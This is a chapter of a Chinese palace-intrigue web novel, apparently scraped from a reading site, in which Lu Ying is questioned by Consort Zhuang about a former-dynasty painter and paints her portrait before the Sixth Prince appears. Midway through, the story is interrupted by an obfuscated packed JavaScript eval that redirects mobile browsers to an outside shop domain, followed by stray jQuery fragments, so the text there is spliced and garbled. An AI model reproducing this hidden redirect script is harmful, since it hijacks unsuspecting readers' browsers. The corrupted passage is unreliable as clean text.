天色尚是蒙蒙亮,晨雾未散,御街上上朝的官员已是络绎不绝。
裴承安勒马驻足在宫门外,胯/下的骏马打了个响鼻,在清晨里显得格外的清脆。他翻身下马,动作利落而沉稳,玄色官服的下摆随着动作划出一道浅浅的弧线。他将缰绳递给早已候在一旁的内侍,正准备迈步走入宫门,视线里却忽然闯入一辆马车。
为了上朝方便,京中官员多以骑马或坐轿为主,乘马车而来的倒是少见。
裴承安本没在意,却被一道熟悉的声音牵去了注意力。
“干嘛这么早叫我起来啊,我踩准了时辰再来不是正合适?”那语气软绵绵的,慵懒中透着一丝娇嗔。
裴承安抬眼望去,只见传闻中貌合神离的那对夫妻,此刻竟在宫门前旁若无人地秀恩爱。
冯泓正小心翼翼地扶着卢英下马车,柔声哄道:“你现在知道我每天晨起上朝的辛苦了吧?”
“你起得早,关我什么事。”卢英嘟囔着,眼角还挂着未褪的困倦泪花。她还未抬手,冯泓已极其自然地替她抹去了眼角的湿意。
“行行行,你就当是陪我。等会儿我那值房里有个能小憩的地方,你先去补上一觉。也不知贵妃娘娘那边要留你到几时,若是待上一整天,你等我一道回家,好不好?”
那语气温柔小意,百依百顺,连站在不远处的裴承安听了,都忍不住牙酸了几分。
到底谁在传他们感情不和了!敢情大家都是他们夫妻青去的一环?
越靠近宫门,一直歪歪扭扭、瞌睡朦胧的卢英也知道不能再惫懒。她打着哈欠直起身,在心里对这群当官的人佩服得五体投地——三更半夜就要爬起来上朝,还能如此生龙活虎,可见权力果然是最好的春*药。
然而,她的哈欠还未打完,便见一道身影两袖生风地从她眼前疾步走过。那人带起的劲风如巴掌一般扇在她脸上,瞬间将她残存的睡意扇得一干二净。
干什么,上朝有这么快乐吗!
卢英气呼呼地揉了揉脸颊,只是看着那道远去的挺拔背影,莫名觉得有几分眼熟。
------
进了宫中到底不比家里,卢英不敢真的安然入睡。打着盹儿,待到时辰差不多了,便由着内侍太监领着往内廷走去。
皇宫果然雄伟壮丽,殿宇巍峨,宫墙高耸。红墙黄瓦映着澄澈的蓝天,飞檐斗拱直插穹苍,透着一股令人窒息的庄严。
皇宫中轴线上最显眼的,当属乾清宫。但领路的公公讳莫如深地提了一嘴,说圣上如今并不住在那里,多是在偏西侧的养心殿议事、听政及安歇。
卢英心下了然。当年圣上兵临城下,旧帝在乾清宫自焚,死前放言便是一把火烧尽了,也绝不留给下一任。虽说后来修葺过好几回,可圣上心里终究觉得住得不爽利。只是,乾清宫毕竟是整座皇宫最核心的位置,天子不居中,总显得其位不正。眼下,乾清宫前聚集着颇多匠人,看那架势,似乎又有推倒重建的意思。
乾清宫之后,便是皇后居住的坤宁宫。自穆皇后仙逝,后位空悬,坤宁宫也成了冷宫一般的存在,空无一人。这样看来,皇宫中轴线上这帝后两宫都是空置,确实也不太妥当。
离坤宁宫最近的,是西侧的永寿宫,庄贵妃便住在这里。
等到真正踏入殿内,拜见的那一刻,卢英才真切地感受到上位者那种不怒自威的压迫感。
庄贵妃是个极美丽的女子。她出身北地官宦世家,身上涵养出的气度,绝非一般闺中女子可比。如今她主持中馈,位居后宫之主,那份雍容华贵与凌厉,更是让人不敢直视。
说起来,圣上是南面起兵。从古至今,从南打到北都是没有多少胜算的。当年圣上渡黄河时,甚至损失了几万兵力。庄家本是北地诸侯,旧朝末年朝廷昏庸,天灾人祸不断,各路势力早就蠢蠢欲动。是庄家临时倒戈,以全副身家支持圣上,圣上才得以转败为胜。
但联盟哪是那么容易结的?前提条件之一,便是要娶庄家大小姐庄文恭为妻。可当时,圣上已有恩爱有加的发妻穆皇后。这中间诸多纷扰与博弈,不是外人所能道也的。只知道最后圣上并未娶平妻,但庄小姐仍旧嫁给了圣上,成了如今的庄贵妃。
卢英垂着眼眸,心想:她跟穆皇后的气质果然截然不同。若说穆皇后是温柔贤德的皎皎明月,那庄贵妃便是如日当空的烈日骄阳。可“日”者,君王也。圣上已经是这天底下最当之无愧的骄阳了,这天上,还需要第二个太阳么?
她不敢多想,遂又低下头去。
“卢编修真是好福气,一双儿女都如此聪慧。听说令兄在外地任职,政绩斐然,颇受赞誉。”贵妃的声音清润悦耳,宛如珠玉落盘。
她恭顺道:“多谢娘娘谬赞。臣妇如今已嫁做人妇,兄长又远在异地,往来书信并不频繁,实在不知他官做得如何。但无论如何,勤勉奉公总是本分,都是为了报答圣上的栽培之恩。”
其实,圣上并不如何喜欢她家。不然,她哥哥堂堂新科状元,怎会被发配到那等边远之地当个县令?
庄贵妃闻言,轻笑了两声,话锋一转:“本宫听人说,你一手丹青出神入化,莫不是师承谷丰之?”
话音刚落,卢英心头猛地一沉,毫不犹豫地双膝跪地,两手深深拜伏下去。
“臣妇只是在绘画上略有些天赋,懂些雕虫小技,从未师承过任何人。”
跪在冰冷的地砖上,卢英的身子微微发颤。谷丰之是谁?那是前朝名流,画圣不过是他最不值一提的名头。他更是一代政治家、谋略家,是前朝旧帝的恩师!旧帝自焚于乾清宫后,此人便如人间蒸发般不知所踪。
在新朝,若是与这样的人物扯上哪怕一丝一毫的关系,都是说不清楚的!卢英不知道庄贵妃是从哪里听来的前朝旧闻,更不知道她是在试探还是想借机敲打。这一刻,她只觉得一股无端的惶恐从脚底直窜上心头。
“你不必紧张,本宫不过是随口一问。”庄贵妃的声音依旧平稳,似笑非笑地开口,“瞧你,汗都出来了。站起来吧。王嬷嬷,拿块帕子给冯夫人擦擦。”
卢英强压着心头的悸动,胆怯地站起身,伸手一摸额头,果然沁出了一层冷汗。她羞赧地接过帕子,低头擦去汗水。
庄贵妃居高临下地打量着眼前这个瑟缩的妇人,心中难免有些失望。怎么这般经不得事?照理说,世家妇多多少少都有进宫觐见的机会,不至于如此上不了台面,连个未出阁的小姐都不如。但转念一想,似乎以往各种宫中宴会,也确实鲜少见这位冯少夫人的身影,多是冯老夫人出面应酬。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17770819|209903||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
想来,确实是生涩了些。
念及此,庄贵妃的语气便和煦了几分:“冯夫人不必拘谨。本宫也是爱才心切,听闻夫人一手丹青惟妙惟肖,画风与谷丰之颇为神似,这才以为你师承于他。毕竟谷丰之也是一代名流,吾心向往之罢了。”
卢英稳住心神,拱手道:“谢贵妃娘娘谬赞。”
“今日邀你来,是仰慕你身为女子,却有一身不输男儿的本事。本宫也想亲眼见识一番传言虚实,不如,你就在这殿内为本宫画一幅肖像如何?”
卢英垂首回道:“作画不难,只恐委屈了娘娘,要在此静候些时辰。”
庄贵妃淡淡道:“无妨。”
宫女太监手脚麻利地抬上桌案,铺好宣纸,备齐文房四宝。卢英也不再犹豫,深吸一口气,从桌上挑了一支最细的狼毫小楷。她指尖轻捻笔管,饱蘸浓墨,手腕悬空,目光落在上方贵妃的脸上,笔锋随之落在纸上,行云流水。
其实她作画极快,不过寥寥数笔,那画中人的眉眼便已有了三分神韵。为了不让贵妃久等,她今日的手速比往日又快了几分。
正聚精会神之际,耳边突然传来一个清冽的男声,打破了殿内的宁静:
“怎么,这是新来的画师么?怎么是个女的?”
卢英心头猛地一跳,竟不知何时身后悄无声息地站了一名男子,正探着头往她这边看。她虽被吓了一跳,但到底手稳,手腕微压,愣是没让笔尖那滴将坠未坠的墨汁毁了画纸。
她不动声色地后退两步,这才看清来人。
那是一名极为年轻的男子,面容姣好,衣着华贵,眼尾微微上挑,平添了几分漫不经心的邪气。他的眉眼轮廓,与庄贵妃有着七八分的相似。
“朔儿,别放肆。”庄贵妃出声斥责,语气里却没有半分严厉,反倒透着股亲昵。
卢英垂下眼眸,是六皇子,李朔。
李朔把玩着拇指上的玉扳指,视线轻飘飘地掠过卢英,闲庭信步地走到大殿内,唤了一声:“阿娘。”
“早朝已经结束了?”庄贵妃含笑看着儿子。
自有机灵的侍女立刻奉上温热的湿巾,伺候他净手。
“再不结束,我这脑袋都要被那帮老臣吵炸了。”李朔接过帕子擦了擦手,语气里带着几分不耐。
“你哥呢?”庄贵妃随口问道。
“下朝后,他又去养心殿陪父皇议事去了。”
母子俩旁若无人地说着话。
卢英立在原地,感到有几分尴尬。她抓紧这空隙,重新回到案桌前,凝神屏气,手腕翻转间补上最后几笔,一幅肖像便成了。
“娘娘,请过目。”她微微躬身,将画作呈上。
母子俩仿佛这才重新打量起卢英。庄贵妃看了两眼,赞许道:“你确实有点本事,短短一盏茶的功夫,就把本宫描摹得如此逼真。”
李朔也凑上前去,打趣道:“哟,这画上到底是哪位貌美佳人,竟生得如此美若天仙?”
“胡闹。”庄贵妃笑道。
李朔抬眼又仔细地瞧了卢英一番,眼前这份拘谨的夫人一直低着头,不曾想一身本事倒是不凡,就是相貌普通了些,实在是泛善可陈。
庄贵妃这才感到几分满意,便吩咐说:“去,把平乐公主请来。”